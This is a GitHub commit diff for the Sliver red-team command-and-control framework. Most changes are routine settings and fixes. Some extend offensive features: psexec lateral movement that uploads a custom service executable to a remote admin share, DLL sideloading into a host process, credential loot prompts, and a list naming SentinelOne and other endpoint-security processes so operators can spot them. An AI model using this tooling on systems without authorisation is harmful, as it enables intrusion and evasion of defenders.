Skip to content

Commit

Permalink
Merge branch 'master' into feature/ssh-kerberos
Browse files Browse the repository at this point in the history
  • Loading branch information
rkervella committed Aug 4, 2022
2 parents c4555a1 + df4245c commit d7d946f
Show file tree
Hide file tree
Showing 1,569 changed files with 455,429 additions and 727 deletions.
2 changes: 2 additions & 0 deletions client/assets/settings.go
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,7 @@ type ClientSettings struct {
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
VimMode bool `json:"vim_mode"`
}

// LoadSettings - Load the client settings from disk
Expand All @@ -59,6 +60,7 @@ func defaultSettings() *ClientSettings {
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
VimMode: false,
}
}

Expand Down
5 changes: 4 additions & 1 deletion client/command/commands.go
Original file line number Diff line number Diff line change
Expand Up @@ -1076,6 +1076,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("w", "unicode", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
Expand Down Expand Up @@ -1196,6 +1197,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("d", "service-description", "Sliver implant", "description of the service")
f.String("p", "profile", "", "profile to use for service binary")
f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded")
f.String("c", "custom-exe", "", "custom service executable to use instead of generating a new Sliver")
},
Run: func(ctx *grumble.Context) error {
con.Println()
Expand Down Expand Up @@ -1461,6 +1463,7 @@ func BindCommands(con *console.SliverConsoleClient) {

f.String("c", "canary", "", "canary domain(s)")

f.String("N", "name", "", "implant name")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
Expand Down Expand Up @@ -3246,7 +3249,7 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
Args: func(a *grumble.Args) {
a.String("connection-string", "connection string to the Operator Host")
a.String("connection-string", "connection string to the Operator Host (e.g. 127.0.0.1:1234)")
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
Expand Down
62 changes: 38 additions & 24 deletions client/command/exec/psexec.go
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
insecureRand "math/rand"
"strings"
"time"
Expand All @@ -47,10 +48,12 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
return
}
var serviceBinary []byte
profile := ctx.Flags.String("profile")
serviceName := ctx.Flags.String("service-name")
serviceDesc := ctx.Flags.String("service-description")
binPath := ctx.Flags.String("binpath")
customExe := ctx.Flags.String("custom-exe")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))

if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
Expand All @@ -61,35 +64,46 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}

if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
if customExe == "" {
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}

// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
} else {
// use a custom exe instead of generating a new Sliver
fileBytes, err := ioutil.ReadFile(customExe)
if err != nil {
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
return
}
serviceBinary = fileBytes
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)

filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
// upload to remote target
uploadCtrl := make(chan bool)
con.SpinUntil("Uploading service binary ...", uploadCtrl)
Expand Down
1 change: 1 addition & 0 deletions client/command/exec/sideload.go
Original file line number Diff line number Diff line change
Expand Up @@ -61,6 +61,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
IsUnicode: ctx.Flags.Bool("unicode"),
})
ctrl <- true
<-ctrl
Expand Down
4 changes: 2 additions & 2 deletions client/command/help/long-help.go
Original file line number Diff line number Diff line change
Expand Up @@ -365,8 +365,8 @@ Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
Sideload a Linux shared library into a new bash process using LD_PRELOAD:
sideload -p /bin/bash /tmp/mylib.so
Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
Sideload a Windows DLL as shellcode in a new process using Donut, specifying the entrypoint and its arguments:
sideload -e MyEntryPoint /tmp/mylib.dll "argument to the function MyEntryPoint"
[[.Bold]]Remarks:[[.Normal]]
Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process
Expand Down
18 changes: 14 additions & 4 deletions client/command/loot/add-credential.go
Original file line number Diff line number Diff line change
Expand Up @@ -55,10 +55,20 @@ func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient
switch credType {
case clientpb.CredentialType_USER_PASSWORD.String():
loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
usernamePrompt := &survey.Input{Message: "Username: "}
survey.AskOne(usernamePrompt, &loot.Credential.User)
passwordPrompt := &survey.Input{Message: "Password: "}
survey.AskOne(passwordPrompt, &loot.Credential.Password)
for loot.Credential.User == "" {
usernamePrompt := &survey.Input{Message: "Username: "}
survey.AskOne(usernamePrompt, &loot.Credential.User)
if loot.Credential.User == "" {
con.Println("Username is required")
}
}
for loot.Credential.Password == "" {
passwordPrompt := &survey.Input{Message: "Password: "}
survey.AskOne(passwordPrompt, &loot.Credential.Password)
if loot.Credential.Password == "" {
con.Println("Password is required")
}
}
case clientpb.CredentialType_API_KEY.String():
loot.CredentialType = clientpb.CredentialType_API_KEY
usernamePrompt := &survey.Input{Message: "API Key: "}
Expand Down
8 changes: 6 additions & 2 deletions client/command/loot/helpers.go
Original file line number Diff line number Diff line change
Expand Up @@ -176,10 +176,14 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
if loot.Name == loot.File.Name {
filename := ""
if loot.File != nil {
filename = loot.File.Name
}
if loot.Name == filename {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, filename, loot.Type, loot.LootID)
}
}
table.Flush()
Expand Down
7 changes: 6 additions & 1 deletion client/command/loot/loot.go
Original file line number Diff line number Diff line change
Expand Up @@ -166,8 +166,13 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
strings.Repeat("=", len("File Name")),
strings.Repeat("=", len("UUID")),
)

for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
filename := ""
if loot.File != nil {
filename = loot.File.Name
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, filename, loot.LootID)
}

table.Flush()
Expand Down
38 changes: 24 additions & 14 deletions client/command/processes/ps.go
Original file line number Diff line number Diff line change
Expand Up @@ -37,15 +37,21 @@ var (
// Stylizes known processes in the `ps` command
knownSecurityTools = map[string][]string{
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
}
)

Expand Down Expand Up @@ -110,13 +116,13 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,

switch os {
case "windows":
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
case "darwin":
fallthrough
case "linux":
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
fallthrough
default:
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
}

cmdLine := ctx.Flags.Bool("print-cmdline")
Expand All @@ -134,8 +140,8 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
tw.AppendRow(row)
}
tw.SortBy([]table.SortBy{
{Name: "pid", Mode: table.Asc},
{Name: "ppid", Mode: table.Asc},
{Name: "pid", Mode: table.AscNumeric},
{Name: "ppid", Mode: table.AscNumeric},
})
if !interactive {
overflow = true
Expand Down Expand Up @@ -182,6 +188,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, args),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
Expand All @@ -190,6 +197,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
Expand All @@ -210,13 +218,15 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, args),
}
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
}
Expand Down
1 change: 1 addition & 0 deletions client/command/settings/settings.go
Original file line number Diff line number Diff line change
Expand Up @@ -47,6 +47,7 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
tw.AppendRow(table.Row{"Vim mode", con.Settings.VimMode, "Navigation mode, vim style"})
con.Printf("%s\n", tw.Render())
}

Expand Down
2 changes: 2 additions & 0 deletions client/command/shell/shell.go
Original file line number Diff line number Diff line change
Expand Up @@ -61,6 +61,8 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}

func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
con.Println()
con.PrintInfof("Wait approximately 10 seconds after exit, and press <enter> to continue\n")
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
session := con.ActiveTarget.GetSession()
if session == nil {
Expand Down
1 change: 1 addition & 0 deletions client/console/console.go
Original file line number Diff line number Diff line change
Expand Up @@ -113,6 +113,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
HelpHeadlineColor: color.New(),
HelpHeadlineUnderline: true,
HelpSubCommands: true,
VimMode: settings.VimMode,
}),
Rpc: rpc,
ActiveTarget: &ActiveTarget{
Expand Down
2 changes: 1 addition & 1 deletion docs/Gemfile.lock
Original file line number Diff line number Diff line change
Expand Up @@ -265,7 +265,7 @@ GEM
thread_safe (0.3.6)
typhoeus (1.4.0)
ethon (>= 0.9.0)
tzinfo (1.2.9)
tzinfo (1.2.10)
thread_safe (~> 0.1)
tzinfo-data (1.2021.5)
tzinfo (>= 1.0.0)
Expand Down
1 change: 1 addition & 0 deletions go-tests.sh
Original file line number Diff line number Diff line change
Expand Up @@ -149,6 +149,7 @@ else
fi

# server / generate
export GOPROXY=off
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
:
else
Expand Down
8 changes: 7 additions & 1 deletion implant/README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
Implant
========
=======

This directory contains the code for Sliver's implant, implant source code is dynamically
rendered at runtime via the `generate` command. The code generation inserts the per-binary
Expand All @@ -11,3 +11,9 @@ that will be supported on different platforms.
Platform agnostic code is implemented in `_generic.go` files, and can be compiled for any
valid Go compiler target but only contains very generic commands/features.

Development
===========

Before committing any changes to any implant files, run `go generate` in this directory. This
will ensure the vendor directory is kept up to date so offline implant builds will function
correctly.
3 changes: 3 additions & 0 deletions implant/generate.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
package implant

//go:generate ./scripts/update-vendor.sh
Loading

0 comments on commit d7d946f

Please sign in to comment.